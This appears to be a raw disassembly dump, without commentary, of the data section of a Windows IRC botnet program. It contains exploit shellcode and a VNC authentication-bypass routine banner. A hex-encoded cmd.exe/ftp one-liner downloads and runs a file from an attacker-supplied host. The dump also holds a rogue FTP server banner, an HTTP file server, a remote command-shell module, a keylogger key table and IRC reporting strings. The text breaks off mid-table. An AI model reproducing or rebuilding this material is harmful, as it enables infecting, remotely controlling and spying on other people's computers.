&%s',0Dh,0Ah,0 dword_4329BC dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40E0D1+5Ao dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh dup(64646464h) dd 1016464h, 40h dup(65656565h), 66010165h, 40h dup(66666666h) dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh dd 6C6C6C01h, 8 dup(6C6C6C6Ch), 41416C6Ch, 100D06EBh, 6D6D501Eh dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h, 0AF5B8DF3h dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h, 85773449h dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh, 0D43C8A9Bh dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh, 78281EB8h dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h, 2C47A345h dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h dd 4838E43h, 5180BD0Ch, 0EFAF269Ah, 0D87B5338h, 78A9269Bh dd 877FD918h aMmmmmmmmmmmmmm db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0 align 10h aVncD_DSSAuthby db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: ___:0040E40Do align 10h aRfb03d_03d db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: ___:0040E29Ao align 10h word_433C00 dw 1 ; DATA XREF: ___:0040E211r align 4 dword_433C04 dd 2E646D63h, 657865h, 6F686365h, 65706F20h, 7325206Eh ; DATA XREF: sub_419C65+21o dd 20642520h, 6F203E3Eh, 68636526h, 7375206Fh, 31207265h dd 6F3E3E20h, 63652620h, 31206F68h, 6F3E3E20h, 63652620h dd 67206F68h, 25207465h, 3E3E2073h, 6526206Fh, 206F6863h dd 20657962h, 206F3E3Eh, 70746626h, 206E2D20h, 6F3A732Dh dd 65642620h, 462F206Ch, 20512F20h, 2526206Fh, 0A0D73h dd 20313232h, 646F6F47h, 20657962h, 70706168h, 30722079h dd 6E697430h, 0A2E67h, 20353234h, 276E6143h, 706F2074h dd 64206E65h, 20617461h, 6E6E6F63h, 69746365h, 0A2E6E6Fh dd 0 aFtpTransferCom db 'ftp transfer complete to: %s',0 align 4 a226TransferCom db '226 Transfer complete.',0Ah,0 aFtpTransferSta db 'ftp transfer started to: %s',0 a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0 align 4 aRetr db 'RETR',0 align 4 a200PortCommand db '200 PORT command successful.',0Ah,0 align 4 aS_S_S_S db '%s.%s.%s.%s',0 aXX db '%x%x',0Ah,0 align 4 aS_2 db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah db ']',0 aPort db 'PORT',0 align 4 a226TransferC_0 db '226 Transfer complete',0Ah,0 align 10h aList_0 db 'LIST',0 align 4 a425PassiveNotS db '425 Passive not supported on this server',0Ah,0 align 4 aPasv db 'PASV',0 align 4 a200TypeSetToI_ db '200 Type set to I.',0Ah,0 aI_0: ; DATA XREF: ___:00438368o unicode 0, <I>,0 a200TypeSetToA_ db '200 Type set to A.',0Ah,0 aA_0: ; DATA XREF: ___:00438374o unicode 0, <A>,0 aType db 'TYPE',0 align 4 a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 align 4 dd offset dword_445750 a350Restarting_ db '350 Restarting.',0Ah,0 align 4 aRest db 'REST',0 align 4 a215Stnyftpd db '215 StnyFtpd',0Ah,0 align 4 aSyst db 'SYST',0 align 4 a230UserLoggedI db '230 User logged in.',0Ah,0 align 4 aPass_0 db 'PASS',0 align 4 a331PasswordReq db '331 Password required',0Ah,0 align 4 aUser_2 db 'USER',0 align 4 aSS_3 db '%s %s',0 align 4 a220Stnyftpd0wn db '220 StnyFtpd 0wns j0',0Ah,0 align 4 unk_433EEC db 2Dh ; - ; DATA XREF: sub_40F0D6+3F8o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aServerFailedRe db ' server failed, returned %d',0 asc_433F14 db 0Dh,0Ah,0 ; DATA XREF: sub_40F0D6+2CFo ; sub_41A4D2+F5o align 4 aGet_0 db 'GET ',0 ; DATA XREF: sub_40F0D6+269o align 10h aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F531+F7o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Content-Length: %i',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 10h aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F531+D4o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_40F531+98o ; sub_41AA43+1AEo align 4 aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40F531+84o align 4 aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_40F531:loc_40F597o align 4 aTextHtml db 'text/html',0 ; DATA XREF: sub_40F531+5Fo align 4 unk_434134 db 2Dh ; - ; DATA XREF: sub_40F6B4+296o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_37 db ' failed to start worker thread, error %d',0 align 4 unk_43416C db 2Dh ; - ; DATA XREF: sub_40F6B4+212o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aWorkerThreadOf db ' worker thread of server thread: %d.',0 align 10h asc_4341A0: ; DATA XREF: sub_40F6B4+15Ao unicode 0, <*>,0 aS_3 db '\%s',0 ; DATA XREF: sub_40F6B4+2Fo aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0 ; DATA XREF: sub_40F96B+652o align 10h aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96B+637o db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah db '</TABLE>',0Dh,0Ah db '</BODY>',0Dh,0Ah db '</HTML>',0Dh,0Ah,0 align 4 aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0 ; DATA XREF: sub_40F96B+61Co align 4 a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_40F96B+58Do align 4 aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_40F96B+571o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_40F96B:loc_40FE93o align 4 aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_40F96B+521o align 4 aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_40F96B+46Eo align 4 a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_40F96B+42Fo align 4 aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_40F96B+3F9o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_40F96B:loc_40FD25o align 4 aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_40F96B+3B3o align 4 aSS_0 db '%s%s/',0 ; DATA XREF: sub_40F96B+36Co align 4 aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96B+328o ; sub_40F96B+496o db '<TD WIDTH="%d"><A HREF="',0 align 4 aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_40F96B+310o align 10h aS db '<%s>',0 ; DATA XREF: sub_40F96B+2E9o ; sub_40F96B+40Bo align 4 a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_40F96B+2BFo aAm db 'AM',0 ; DATA XREF: sub_40F96B+295o align 4 aPm db 'PM',0 ; DATA XREF: sub_40F96B+28Ao align 10h a__ db '..',0 ; DATA XREF: sub_40F96B+237o align 4 aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96B+1C5o db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T' db 'D>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96B+149o aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96B+12Do db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96B+F9o db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_40F96B+AEo db '<TABLE BORDER="0">',0Dh,0Ah,0 align 10h aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_40F96B+79o db '<HEAD>',0Dh,0Ah db '<TITLE>Index of %s</TITLE>',0Dh,0Ah db '</HEAD>',0Dh,0Ah db '<BODY>',0Dh,0Ah,0 align 10h aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96B+4Bo aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_4100DC+8Fo db 'Referer: %s',0Ah db 'Host: %s',0Ah db 'Connection: close',0Ah db 0Ah,0 dword_434648 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: ___:0041036Eo aServerFailed_0 db '- server failed, returned %d',0 align 4 aUseridUnixS db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: ___:00410313o dword_43468C dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: ___:004102B8o aClientConnecti db '- client connection from %s:%d.',0 db 2Dh ; - db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aFailedToSta_38 db 'Failed to start client thread, error: <%d>.',0 unk_4346F4 db 2Dh ; - ; DATA XREF: ___:00410494o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aClientConnec_0 db 'Client connection from IP: %s:%d, Server thread: %d.',0 align 4 unk_43473C db 2Dh ; - ; DATA XREF: ___:004106E6o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 3 db 2, 2Dh, 20h aFailedToSta_39 db 'Failed to start connection thread, error: <%d>.',0 unk_43477C db 2Dh ; - ; DATA XREF: ___:0041061Do db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 3 db 2, 2Dh, 20h aClientConnec_1 db 'Client connection to IP: %s:%d, Server thread: %d.',0 align 10h unk_4347C0 db 2Dh ; - ; DATA XREF: ___:004109A9o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aUserLoggedOutS db '- User logged out: <%s@%s>.',0 align 4 unk_4347EC db 2Dh ; - ; DATA XREF: ___:00410982o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorSessionru db '- Error: SessionRun(): <%d>.',0 align 4 unk_434818 db 2Dh ; - ; DATA XREF: ___:00410962o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aUserLoggedInS@ db '- User logged in: <%s@%s>.',0 aPermissionDeni db 'Permission denied',0Ah,0 ; DATA XREF: ___:00410932o align 4 unk_434854 db 2Dh ; - ; DATA XREF: ___:004108A1o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorGetpeerna db '- Error: getpeername(): <%d>.',0 align 10h unk_434880 db 2Dh ; - ; DATA XREF: sub_4109C5:loc_410A0Ao db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aProtocolString db '- Protocol string too long.',0 align 4 dword_4348AC dd 234032Dh, 676F6C72h, 2646E69h, 4C202D03h, 6E69676Fh ; DATA XREF: sub_410A1F+1Bo dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h dd 203A7265h, 4073253Ch, 2E3E7325h, 0 dd 234032Dh, 676F6C72h, 2646E69h, 45202D03h, 726F7272h dd 6573203Ah, 72657672h, 69616620h, 2C64656Ch, 74657220h dd 656E7275h, 3C203A64h, 2E3E6425h, 0 dd 234032Dh, 676F6C72h, 2646E69h, 46202D03h, 656C6961h dd 6F742064h, 61747320h, 63207472h, 6E65696Ch, 68742074h dd 64616572h, 7265202Ch, 3A726F72h, 64253C20h, 2E3Eh, 234032Dh dd 676F6C72h, 2646E69h, 43202D03h, 6E65696Ch, 6F632074h dd 63656E6Eh, 6E6F6974h, 6F726620h, 5049206Dh, 7325203Ah dd 2C64253Ah, 72655320h, 20726576h, 65726874h, 203A6461h dd 2E6425h, 234032Dh, 676F6C72h, 2646E69h, 52202D03h, 79646165h dd 646E6120h, 69617720h, 676E6974h, 726F6620h, 636E6920h dd 6E696D6Fh, 6F632067h, 63656E6Eh, 6E6F6974h, 2E73h, 234032Dh dd 676F6C72h, 2646E69h, 46202D03h, 656C6961h, 6F742064h dd 736E6920h, 6C6C6174h, 6E6F6320h, 6C6F7274h, 6820432Dh dd 6C646E61h, 202C7265h, 6F727265h, 3C203A72h, 2E3E6425h dd 0 db 2Dh ; - db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorWsastartu db '- Error: WSAStartup(): <%d>.',0 align 4 unk_434A48 db 2Dh ; - ; DATA XREF: sub_410CD6+DEo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aWaitformultipl db '- WaitForMultipleObjects error: <%d>.',0 align 4 unk_434A7C db 2Dh ; - ; DATA XREF: sub_410CD6+59o ; sub_410CD6+8Bo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCreate db '- Failed to create ReadShell session thread, error: <%d>.',0 align 4 unk_434AC4 db 2Dh ; - ; DATA XREF: sub_410E27+AFo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToExecut db '- Failed to execute shell.',0 unk_434AEC db 2Dh ; - ; DATA XREF: sub_410E27+7Eo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCrea_0 db '- Failed to create shell stdin pipe, error: <%d>.',0 align 4 unk_434B2C db 2Dh ; - ; DATA XREF: sub_410E27+5Co db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCrea_1 db '- Failed to create shell stdout pipe, error: <%d>.',0 unk_434B6C db 2Dh ; - ; DATA XREF: sub_410F20+C3o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToExec_0 db '- Failed to execute shell, error: <%d>.',0 align 4 aCmdQ db 'cmd /q',0 ; DATA XREF: sub_410F20+8Co align 4 dword_434BAC dd 234032Dh, 676F6C72h, 2646E69h, 53202D03h, 69737365h ; DATA XREF: sub_410FF9+A1o dd 65526E6Fh, 68536461h, 546C6C65h, 61657268h, 78652064h dd 64657469h, 7265202Ch, 3A726F72h, 6C253C20h, 2E3E64h dd 234032Dh, 6B636F73h, 3023473h, 6146202Dh, 64656C69h dd 206F7420h, 72617473h, 65732074h, 72657672h, 206E6F20h dd 74726F50h, 2E642520h, 0 dd 234032Dh, 6B636F73h, 3023473h, 6146202Dh, 64656C69h dd 206F7420h, 72617473h, 6C632074h, 746E6569h, 72687420h dd 2C646165h, 72726520h, 203A726Fh, 3E64253Ch, 2Eh, 234032Dh dd 6B636F73h, 3023473h, 6C43202Dh, 746E6569h, 6E6F6320h dd 7463656Eh, 206E6F69h, 6D6F7266h, 3A504920h, 3A732520h dd 202C6425h, 76726553h, 74207265h, 61657268h, 25203A64h dd 2E64h, 234032Dh, 6B636F73h, 3023473h, 7245202Dh, 3A726F72h dd 69614620h, 2064656Ch, 63206F74h, 656E6E6Fh, 74207463h dd 6174206Fh, 74656772h, 6572202Ch, 6E727574h, 203A6465h dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h, 3023473h, 7245202Dh dd 3A726F72h, 69614620h, 2064656Ch, 6F206F74h, 206E6570h dd 6B636F73h, 29287465h, 6572202Ch, 6E727574h, 203A6465h dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h, 3023473h, 7541202Dh dd 6E656874h, 61636974h, 6E6F6974h, 69616620h, 2E64656Ch dd 6D655220h, 2065746Fh, 72657375h, 203A6469h, 21207325h dd 7325203Dh, 2Eh, 4000500h, 7868746Bh, 0 aTftpTransferCo db 'Tftp transfer complete to: %s',0 align 4 aTftpTransferSt db 'Tftp transfer started to: %s',0 align 10h dw 8 unicode 0, <>,0 aB: unicode 0, <b>,0 dd 62000000h, 2 dup(0) dd 0Dh, 65h, 65000000h, 2 dup(0) dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0 dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0 dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0 dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0 dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0 dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0 dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0 dword_434E64 dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0 ; DATA XREF: Themida_:00560B86o dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0 dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0 dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0 dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0 dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0 dd 0C0h, 60h, 7E000000h, 2 dup(0) dd 2 dup(31h), 21000000h, 2 dup(0) dd 2 dup(32h), 40000000h, 2 dup(0) dd 2 dup(33h), 23000000h, 2 dup(0) dd 2 dup(34h), 24000000h, 2 dup(0) dd 2 dup(35h), 25000000h, 2 dup(0) dd 2 dup(36h), 5E000000h, 2 dup(0) dd 2 dup(37h), 26000000h, 2 dup(0) dd 2 dup(38h), 2A000000h, 2 dup(0) dd 2 dup(39h), 28000000h, 2 dup(0) dd 2 dup(30h), 29000000h, 2 dup(0) dd 0BDh, 2Dh, 5F000000h, 2 dup(0) dd 0BBh, 3Dh, 2B000000h, 2 dup(0) dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0 dd 51h, 71h, 51000000h, 2 dup(0) dd 57h, 77h, 57000000h, 2 dup(0) dd 45h, 65h, 45000000h, 2 dup(0) dd 52h, 72h, 52000000h, 2 dup(0) dd 54h, 74h, 54000000h, 2 dup(0) dd 59h, 79h, 59000000h, 2 dup(0) dd 55h, 75h, 55000000h, 2 dup(0) dd 49h, 69h, 49000000h, 2 dup(0) dd 4Fh, 6Fh, 4F000000h, 2 dup(0) dd 50h, 70h, 50000000h, 2 dup(0) dd 0DBh, 5Bh, 7B000000h, 2 dup(0) dd 0DDh, 0 dd 7D000000h, 2 dup(0) dd 41h, 61h, 61000000h, 2 dup(0) dd 53h, 73h, 53000000h, 2 dup(0) dd 44h, 64h, 44000000h, 2 dup(0) dd 46h, 66h, 46000000h, 2 dup(0) dd 47h, 67h, 47000000h, 2 dup(0) dd 48h, 68h, 48000000h, 2 dup(0) dd 4Ah, 6Ah, 4A000000h, 2 dup(0) dd 4Bh, 6Bh, 4B000000h, 2 dup(0) dd 4Ch, 6Ch, 4C000000h, 2 dup(0) dd 0BAh, 3Bh, 3A000000h, 2 dup(0) dd 0DEh, 27h, 22000000h, 2 dup(0) dd 5Ah, 7Ah, 5A000000h, 2 dup(0) dd 58h, 78h, 58000000h, 2 dup(0) dd 43h, 63h, 43000000h, 2 dup(0) dd 56h, 76h, 56000000h, 2 dup(0) dd 42h, 62h, 42000000h, 2 dup(0) dd 4Eh, 6Eh, 4E000000h, 2 dup(0) dword_435238 dd 4Dh, 6Dh, 4D000000h, 2 dup(0) dd 0BCh, 2Ch, 3C000000h, 2 dup(0) dd 0BEh, 2Eh, 3E000000h, 2 dup(0) dd 0BFh, 2Fh, 2E000000h, 3Fh, 0 dd 0DCh, 5Ch, 7C000000h, 2 dup(0) dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh dd 5B00005Dh, 5D4E4957h, 0 dd 2 dup(20h), 20000000h, 2 dup(0) dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0 dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh dd 5D534E49h, 0 dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh dd 5D4C4544h, 0 dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0 dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h dd 5D5055h, 0 dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0) dd 6Ah, 2Ah, 2A000000h, 2 dup(0) dd 6Dh, 2Dh, 2D000000h, 2 dup(0) dd 6Bh, 2Bh, 2B000000h, 2 dup(0) dd 60h, 30h, 30000000h, 2 dup(0) dd 61h, 31h, 31000000h, 2 dup(0) dd 62h, 32h, 32000000h, 2 dup(0) dd 63h, 33h, 33000000h, 2 dup(0) dd 64h, 34h, 34000000h, 2 dup(0) dd 65h, 35h, 35000000h, 2 dup(0) dd 66h, 36h, 36000000h, 2 dup(0) dd 67h, 37h, 37000000h, 2 dup(0) dd 68h, 38h, 38000000h, 2 dup(0) dd 69h, 39h, 39000000h, 2 dup(0) dd 6Eh, 2Eh, 2E000000h, 2 dup(0) dword_43551C dd 234032Dh, 6C79656Bh, 302676Fh, 7325202Dh, 0 ; DATA XREF: ___:00411CC2o aDDDDDDS db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: ___:00411C9Co align 4 asc_43554C: ; DATA XREF: ___:00411C40o unicode 0, <\>,0 aSReturnS db '%s (Return) (%s)',0 align 4 aSBufferFullS db '%s (Buffer full) (%s)',0 align 4 aSChangedWindow db '%s (Changed Windows: %s)',0 align 4 dd offset off_435E10 dd offset off_435E0C dd offset off_435E08 dd offset aHttp_0 ; "HTTP" dd 6F6C2E3Ah, 6E6967h, 4 dup(0) dd 6F6C2C3Ah, 6E6967h, 4 dup(0) dd 6F6C213Ah, 6E6967h, 4 dup(0) dd 6F6C403Ah, 6E6967h, 4 dup(0) dd 6F6C243Ah, 6E6967h, 4 dup(0) dd 6F6C253Ah, 6E6967h, 4 dup(0) dd 6F6C5E3Ah, 6E6967h, 4 dup(0) dd 6F6C263Ah, 6E6967h, 4 dup(0) dd 6F6C2A3Ah, 6E6967h, 4 dup(0) dd 6F6C2D3Ah, 6E6967h, 4 dup(0) dd 6F6C2B3Ah, 6E6967h, 4 dup(0) dd 6F6C2F3Ah, 6E6967h, 4 dup(0) dd 6F6C5C3Ah, 6E6967h, 4 